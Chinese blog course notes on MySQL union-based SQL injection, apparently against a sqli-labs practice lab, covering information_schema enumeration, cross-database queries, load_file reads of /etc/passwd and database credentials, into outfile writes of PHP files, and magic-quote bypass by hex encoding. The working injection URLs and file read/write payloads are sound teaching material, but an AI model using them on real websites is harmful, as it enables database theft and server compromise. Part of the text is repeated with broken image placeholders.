小迪-day13(MySQL注入)

news2024/9/22 11:41:56

mysql注入-小迪.png

一、information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。

  • SCHEMATA****表

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据

获取到数据库名称

mysql> use information_schema;
mysql> select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
+--------------------+----------------------------+
| SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME |
+--------------------+----------------------------+
| information_schema | utf8                       |
| challenges         | gbk                        |
| mysql              | latin1                     |
| performance_schema | utf8                       |
| security           | gbk                        |
+--------------------+----------------------------+
  • TABLES 表

存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。

mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME                            |
+---------------+--------------------+---------------------------------------+
| def           | information_schema | CHARACTER_SETS                        |
| def           | information_schema | COLLATIONS                            |
| def           | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| def           | information_schema | COLUMNS                               |
| def           | information_schema | COLUMN_PRIVILEGES                     |
+---------------+--------------------+---------------------------------------+
5 rows in set (0.00 sec)
  • COLUMNS 表

存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。

mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME     |
+---------------+--------------------+----------------+
| def           | information_schema | CHARACTER_SETS |
| def           | information_schema | CHARACTER_SETS |
| def           | information_schema | COLLATIONS     |
| def           | information_schema | COLLATIONS     |
| def           | information_schema | COLLATIONS     |
+---------------+--------------------+----------------+
  • USER_PRIVILEGES 表

用户权限表。内容源自 mysql.user 授权表。是非标准表。

mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
+--------------------+---------------+----------------+--------------+
| GRANTEE            | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def           | SELECT         | YES          |
| 'root'@'localhost' | def           | INSERT         | YES          |
| 'root'@'localhost' | def           | UPDATE         | YES          |
| 'root'@'localhost' | def           | DELETE         | YES          |
| 'root'@'localhost' | def           | CREATE         | YES          |
+--------------------+---------------+----------------+--------------+
5 rows in set (0.00 sec)

二、跨库攻击

在同一个数据库管理系统中,
在一个数据库中存在某个sql注入漏洞,并且权限为root,可以以此去操作另一个数据库
进行夸库攻击

前提准备 (获取最高权限进行跨库攻击)

mysql> create database book;
mysql> use book;
mysql> CREATE TABLE IF NOT EXISTS book(    `book_id` INT UNSIGNED AUTO_INCREMENT,    `book_title` VARCHAR(100) NOT NULL,    `book_author` VARCHAR(40) NOT NULL,    `submission_date` DATE,    PRIMARY KEY ( `book_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| book               |
| mysql              |
| performance_schema |
+--------------------+
mysql> use book;
mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book           |
+----------------+
1 row in set (0.00 sec)

mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field           | Type             | Null | Key | Default | Extra          |
+-----------------+------------------+------+-----+---------+----------------+
| book_id         | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| book_title      | varchar(100)     | NO   |     | NULL    |                |
| book_author     | varchar(40)      | NO   |     | NULL    |                |
| submission_date | date             | YES  |     | NULL    |                |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

打开网页进行查询当前数据库的用户

?id=-1%20union%20select%201,user(),3

img
可以看到当前用户为root拥有最高的权限。

获取到当前网页的数据库名?id=-1%20union%20select%201,database(),3

img

获取到当前网站的数据库是security

  • 常见的数据库与用户的对应关系
数据库A=网站A=数据库用户A	——>表名——>列名——>数据
数据库B=网站B=数据库用户B	——>表名——>列名——>数据
数据库C=网站C=数据库用户C	——>表名——>列名——>数据

**备注:**这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,当然这是最基础的数据库模型,现在大网站都是分布式数据库。

  • 在数据库中查询有哪些用户
mysql> use mysql;
Database changed
mysql> select host,user,password from user;
+--------------+------+----------+
| host         | user | password |
+--------------+------+----------+
| localhost    | root |          |
| 2c8a2316583a | root |          |
| 127.0.0.1    | root |          |
| ::1          | root |          |
+--------------+------+----------+
4 rows in set (0.00 sec)

mysql>

在源码中查看使用的是哪一个用户

root@2c8a2316583a:/var/www/html# cat sql-connections/db-creds.inc
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>

一般在网站安装的时候会指定数据库的用户名和密码这里指定的是root用户密码为空指定的数据库是security

跨库查询的前提条件是必须高权限的用户才能执行跨库查询。

?id=-1%20union%20select%201,schema_name,3%20from%20information_schema.schemata

img

数据库中执行

mysql> SELECT * FROM users WHERE id=-1 union select 1,schema_name,3 from information_schema.schemata LIMIT 0,1;
+----+--------------------+----------+
| id | username           | password |
+----+--------------------+----------+
|  1 | information_schema | 3        |
+----+--------------------+----------+
1 row in set (0.00 sec)

mysql>
  • 1、获取到所有的数据库名称
union select 1,group_concat(schema_name),3 from information_schema.schemata

备注:GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。

img

等同于在数据库中执行以下命令

mysql> use security;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata  LIMIT 0,1;
+----+----------------------------------------------------------------------+----------+
| id | username                                                             | password |
+----+----------------------------------------------------------------------+----------+
|  1 | information_schema,book,challenges,mysql,performance_schema,security | 3        |
+----+----------------------------------------------------------------------+----------+
1 row in set (0.00 sec)

mysql>
  • 2、指定获取book库中的表名信息

imgunion select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'

等同于在数据库中执行以下命令

mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'  LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | book     | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql>
  • 3、获取指定数据库book下的book表的列名信息

img

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book'

等同于以下的数据库命令

mysql> use security;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book'  LIMIT 0,1;
+----+------------------------------------------------+----------+
| id | username                                       | password |
+----+------------------------------------------------+----------+
|  1 | book_id,book_title,book_author,submission_date | 3        |
+----+------------------------------------------------+----------+
1 row in set (0.00 sec)

mysql>
  • 4、查询到指定数据

img

mysql> SELECT * FROM users WHERE id=-1 union  select book_id,book_title,book_author from book.book  LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Linux    | oldjiang |
+----+----------+----------+
1 row in set (0.00 sec)

mysql>

**备注:**username和password字段是users表中的字段,又因为查询到的数据为空执行后面的联合字句的时候将内容填充到下面所以获取到的内容并不是十分准确,另外要内容十分准确必须要满足book表和user表的结构完全相同

三、文件读写函数

参考地址:https://www.sqlsec.com/2020/11/mysql.html

load_file 文件读取

into outfileinto dumpfile 文件写入

查询是否有写入的权限

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

  • 文件读取
mysql> select load_file('/etc/passwd')\G;
*************************** 1. row ***************************
load_file('/etc/passwd'): root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

1 row in set (0.00 sec)

ERROR:
No query specified

mysql>

读取敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669

在网站上面读取内容:?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3

img

读取数据库的配置信息

?id=-1%20union%20select%201,load_file(%27/var/www/html/sql-connections/db-creds.inc%27),3

img

右击查看源代码

img

  • 文件写入
mysql> select '<?php phpinfo() ?>' into outfile './php';
Query OK, 1 row affected (0.00 sec)

mysql>
root@06026a1599f9:/# cat /var/lib/mysql/php
<?php phpinfo() ?>

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/php';
ERROR 1 (HY000): Can't create/write to file '/var/www/php' (Errcode: 13)
mysql>

在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。

对目录修改权限测试

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
ERROR 1 (HY000): Can't create/write to file '/var/www/html/test.php' (Errcode: 13)
mysql> \q
root@06026a1599f9:/# chmod -Rf 777 /var/www/html/
root@06026a1599f9:/# mysql
mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
mysql>

在网页上写入

img

root@06026a1599f9:/var/lib/mysql# pwd
/var/lib/mysql
root@06026a1599f9:/var/lib/mysql# ls -l test.php
-rw-rw-rw- 1 mysql mysql 23 Jun 18 12:17 test.php
root@06026a1599f9:/var/lib/mysql# cat test.php
1       <?php phpinfo() ?>      3
root@06026a1599f9:/var/lib/mysql#

四、魔术引号开关

魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。

正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。

​ 简单的SQL注入示例,假设有一个数据库user,我们要传一个参数查询某个用户的信息,我们会调用某个接口,传一个参数给接口,类似于http://域名/?c=xxx&a=xxx&user=xxx,现在我们想查询一个叫codeman的人的信息,那么user=codeman,后台接收到参数之后,执行类似于下面的SQL语句。

SELECT * FROM `user` WHERE `user` = 'codeman';

​ 如果在接收数据时后台不进行转义,那么久可能让恶意的SQL注入攻击发生,假设我们现在传递一个user=codeman’or’1’='1,传到后台执行的SQL语句变成:

SELECT * FROM `user` WHERE `user` = 'codeman' or '1' or '1';

为什么在PHP5.4.0及其之后PHP版本中被取消了呢?

PHP 5.5.9-1ubuntu4.13 (cli) (built: Sep 29 2015 15:24:49)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
root@06026a1599f9:/# grep magic /etc/php5/apache2/php.ini
root@06026a1599f9:/# grep magic /etc/php5/cli/php.ini

(1)可移植性:

编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开,并据此编程。

(2)性能

​ 由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。

(3)方便

由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 '。针对这个问题,可以使用 stripslashes() 函数处理。[

](https://blog.csdn.net/hyh1123176978/article/details/53893579)

phpstudy环境中PHP版本选择为5.2.17时在php.ini文件中魔术引号的开关

img

选择SQL注入的关卡1阅读源码$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";这一句中我们要是想注入的话必须让前面的闭合,但是我们开启了魔术引号开关我发生这样的事情。

img

就是在我们注入的时候添加的会在之后会自动添加\'将我们注入语句给注释掉从而失败。将魔术引号关闭之后然后重启phpstudy就可以正常的注入。

img

img

由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示

开启了魔术引号之后

img

绕过方法

采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

编码软件:winhex

五、int函数

对输入的数字进行判断是否

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo 'ni shi ge jj?';
}

img

防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。

baOy-1670312567478)]

[外链图片转存中…(img-ux4akbBt-1670312567478)]

由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示

开启了魔术引号之后

[外链图片转存中…(img-ShkQkO6I-1670312567479)]

绕过方法

采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

编码软件:winhex

五、int函数

对输入的数字进行判断是否

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo 'ni shi ge jj?';
}

[外链图片转存中…(img-PCA8uIMI-1670312567479)]

防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/67837.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

信号和电源隔离的有效设计技术

介绍 如今&#xff0c;电子产品设计师比以往任何时候都更面临着一系列共同的目标&#xff1a;实现更高的吞吐量、更高的分辨率、更高效的系统和缩短上市时间。在工业自动化、医疗电子或电信系统等领域&#xff0c;通常需要电隔离多个信号&#xff0c;以使子系统能够共享数据或…

农民歌唱家大衣哥外出商演,大衣嫂在家晒麦子,真是一对金童玉女

在中国华语乐坛&#xff0c;曾经有很多对模范夫妻&#xff0c;比如说任静和付笛声&#xff0c;他们也是音乐领域的金童玉女。其实大家都忽略了一对夫妻&#xff0c;农民歌唱家大衣哥&#xff0c;和他的结发妻子玉华&#xff0c;同样是中国华语乐坛的骄傲。 只是因为大衣哥过于低…

计算机网络复习(一~三)

第一章 基本概念 1-01.计算机网络可以向用户提供哪些服务&#xff1f; 答&#xff1a;例如音频&#xff0c;视频&#xff0c;游戏等&#xff0c;但本质是提供连通性和共享这两个功能。连通性&#xff1a;计算机网络使上网用户之间可以交换信息&#xff0c;好像这些用户的计算…

RDPCrystal EDI SDK 10.0.4.X Crack

关于 RDPCrystal EDI 库 使用 .NET、NodeJS、JavaScript 或 .NET Core 创建、查看和验证 EDI 数据。 RDPCrystal EDI 库是一套 EDI 组件&#xff08;.NET、NodeJS/JavaScript 和 .NET Core&#xff09;&#xff0c;可以创建和操作任何 X12 标准文件。功能包括解析、连接、拆分、…

【Unity】填坑,Unity接入Epic Online Service上架Epic游戏商城

EOS SDK For Unity地址&#xff1a;https://github.com/PlayEveryWare/eos_plugin_for_unity_upm Epic是虚幻游戏引擎开发商&#xff0c;2018年12月Epic宣布推出Epic游戏商城至今刚好三年&#xff0c;Epic将平台分成定为12%(远低于当时Steam的30%)&#xff0c;并且频繁推出各种…

每天一个面试题:四种引用,弱引用防止内存泄漏

每天一个面试题&#xff1a;四种引用四种引用基本介绍实例Demo- 虚引用弱引用防止内存泄漏弱引用Debug分析源码开始全新的学习&#xff0c;沉淀才会有产出&#xff0c;一步一脚印&#xff01; 面试题系列搞起来&#xff0c;这个专栏并非单纯的八股文&#xff0c;我会在技术底层…

ZStack出品|制造业专属的VMware迁移方案长啥样?

导读&#xff1a;在国家大力推动信息技术自主化的背景下&#xff0c;制造业也在积极寻找自身信息化改革的路线。作为信息化技术的基石&#xff0c;虚拟化基础架构替换迫在眉睫。本文将从技术层面详细介绍VMware迁移至 ZStack Cloud 云平台的方案&#xff0c;助力制造业实现“信…

阿里P9整理分享的亿级流量Java高并发与网络编程实战PDF

前言 有人调侃我们说&#xff1a; 程序员不如送外卖。送外卖是搬运食物&#xff0c;自己是搬运代码&#xff0c;都不产出新的东西……透支体力&#xff0c;又消耗健康&#xff0c;可替代性极强&#xff0c;30岁之后就要面临被优化的危险……想跳槽&#xff0c;但是更高的平台…

云原生|kubernetes|使用cri-docker部署基于kubeadm-1.25.4的集群

前言&#xff1a; kubernetes的部署从1.24版本开始后&#xff0c;弃用docker-shim&#xff0c;也就是说部署1.24版本后的集群不能使用docker-ce了。 比较清晰的解决方案有两个&#xff0c;一是使用containerd&#xff0c;这个是一个新的支持cri标准的shim&#xff0c;一个是使…

opencv基础-印度小哥

基础课程 第一章-读取图片、视频和摄像头 Chapter 1 – Read Images Videos and Webcams图片放在程序所在文件夹下的Resources/test.png 1.1 opencv读取一张图片并显示&#xff1a; #include <opencv2/imgcodecs.hpp> #include <opencv2/highgui.hpp> #include …

Jmeter命令执行生成HTML格式报告详解

1、Dashboard&#xff08;概览仪表盘&#xff09; ①、Test and Report informations Test and Report informations&#xff1a;测试和报告信息: 测试结果保存文件/测试开始时间/测试结束时间/展示过滤器。 ②、APDEX (应用性能指标) APDEX(Application Performance Index)&am…

安装pangolin问题解决|找不到makefile

前提&#xff1a; 使用的系统为ubuntu18.04版本 遇到的问题&#xff1a; 问题一&#xff1a; 按照如下命令安装时出现了错误 git clone https://github.com/stevenlovegrove/Pangolin.git cd Pangolin mkdir build cd build cmake .. make -j4 sudo make install我用的cma…

vncserver远程管理kvm虚拟机

一、安装KVM 检查服务器是否支持虚拟化&#xff08;vmx为interl平台、svm是AMD平台&#xff09;&#xff1a; grep -E -o vmx|svm /proc/cpuinfo 安装KVM所需软件包&#xff1a; yum groupinstall kvm 或者&#xff1a; yum install kvm kmod-kvm qemu kvm-qemu-img virt…

数据链路层-点对点PPP(point-to-point protocal)

点对点协议ppp是目前使用最广泛的点对点数据链路层协议 用户通过连接运营商的isp&#xff0c;用的就是pppoe协议pppoe ppp over ethernet ppp协议为点对点数据链路层协议的数据报提供了一个标准方法 封装成帧链路控制协议LCP&#xff0c;主要用于建立&#xff0c;配置&#xf…

【面试题】JSON.stringify 和fast-json-stringify有什么区别

前言 相信大家对JSON.stringify并不陌生&#xff0c;通常在很多场景下都会用到这个API&#xff0c;最常见的就是HTTP请求中的数据传输&#xff0c; 因为HTTP 协议是一个文本协议&#xff0c;传输的格式都是字符串&#xff0c;但我们在代码中常常操作的是 JSON 格式的数据&…

Flink系列之Flink中Window原理及实践

title: Flink系列 一、Flink Window 概述 官网链接&#xff1a; https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/dev/datastream/operators/windows/ 摘取一段话&#xff1a; Windows are at the heart of processing infinite streams. Windows split …

基于蒙特卡洛法的规模化电动车有序充放电及负荷预测(PythonMatlab实现)

&#x1f4a5;&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️❤️&#x1f4a5;&#x1f4a5;&#x1f4a5; &#x1f389;作者研究&#xff1a;&#x1f3c5;&#x1f3c5;&#x1f3c5;主要研究方向是电力系统和智能算法、机器学…

刷爆力扣之三个数的最大乘积

刷爆力扣之三个数的最大乘积 HELLO&#xff0c;各位看官大大好&#xff0c;我是阿呆 &#x1f648;&#x1f648;&#x1f648; 今天阿呆继续记录下力扣刷题过程&#xff0c;收录在专栏算法中 &#x1f61c;&#x1f61c;&#x1f61c; 该专栏按照不同类别标签进行刷题&#x…

运维实战100:CDH5.16.2升级至CDH6.3.2

本期来分享一个cdh企业运维实战案例 背景 为适应公司业务发展需求&#xff0c;提高相关大数据组件版本&#xff0c;解决开发中的一些技术问题和代码优化&#xff0c;需要将现有集群CDH版本由5.x版本升级为6.3.x版本&#xff0c;也是为了适配如Flink、Doris等一些计算引擎。由…

ArcGIS Pro从0到1入门实战教程 书籍淘宝线上销售,免费下载数据和视频

网址&#xff1a;https://m.tb.cn/h.USz9rbD?tkcu0Vd2cABAV 购书后五星好评&#xff0c;加下面微信&#xff0c;截图发给我们&#xff1a;送Python电子书&#xff0c;下面是我们的微信 关注翎树文化&#xff0c;获得更多好书信息 翎树文化 翎树文化致力于图书出版|科技文化|视…